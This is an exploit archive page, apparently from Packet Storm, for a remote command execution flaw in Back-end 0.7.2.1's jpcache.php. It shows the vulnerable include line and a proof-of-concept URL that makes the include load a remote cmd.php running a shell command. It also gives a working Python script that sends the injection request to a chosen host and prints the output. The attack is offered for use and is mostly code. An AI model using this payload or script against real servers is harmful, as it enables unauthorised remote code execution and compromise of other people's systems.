exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Back-end0721.txt

Back-end0721.txt
Posted Jun 12, 2006
Authored by Federico Fazzi

Back-end version 0.7.2.1 remote command execution exploit that makes use of jpcache.php.

tags | exploit, remote, php
SHA-256 | d9fdd92864264785d35fa24e0adc6d7412596b2fa226693c4949819315f4ae65

Back-end0721.txt

Change Mirror Download
/ Federico Fazzi, <federico@autistici.org>
*/ Back-end = 0.7.2.1 (jpcache.php) Remote command execution
*/ 08/06/2006 1:04

Bug:

jpcache.php: line 40

---
$includedir = $_PSL['classdir'] . "/jpcache";
---

Proof of concept:

Back-end have a default path pre-set on jpcache.php,
and cracker can execute a remote command.

http://example/[be_path]/class/jpcache/jpcache.php?_PSL[classdir]=http://example/cmd.php?exec=uname

you can use too the exploit f_mg-2.62.py

#!/usr/bin/env python
#
# Back-end = 0.7.2.1 (jpcache.php) Remote command execution
# vendor, http://www.back-end.org/
#
# python f_be-0.7.2.1.py <remote_addr> <remote_port> <remote_path>
<remote_cmd> <command>
#
# Federico Fazzi <federico@autistici.org>
# more info see advisory.

import os, sys, socket

usage = "run: python %s [remote_addr] [remote_port] [remote_path]
[remote_cmd] <command>" % os.path.basename(sys.argv[0])

if len(sys.argv) < 6:
print usage
sys.exit()
else:
host = sys.argv[1]
port = int(sys.argv[2])
path = sys.argv[3]
cmd = sys.argv[4]
command = sys.argv[5]

print "Back-end = 0.7.2.1 (jpcache.php) Remote command execution"
print "Federico Fazzi <federico@autistici.org>\n"

includers = ['class/jpcache/jpcache.php?_PSL[classdir]=']

for inc in includers:
print ">> i try string %s" % inc
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send("GET %s%s%s?cmd=%s \r\n" % (path, inc, cmd, command))
print "\n>> reading.. done\n"
buf = sock.recv(2048)
print buf

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close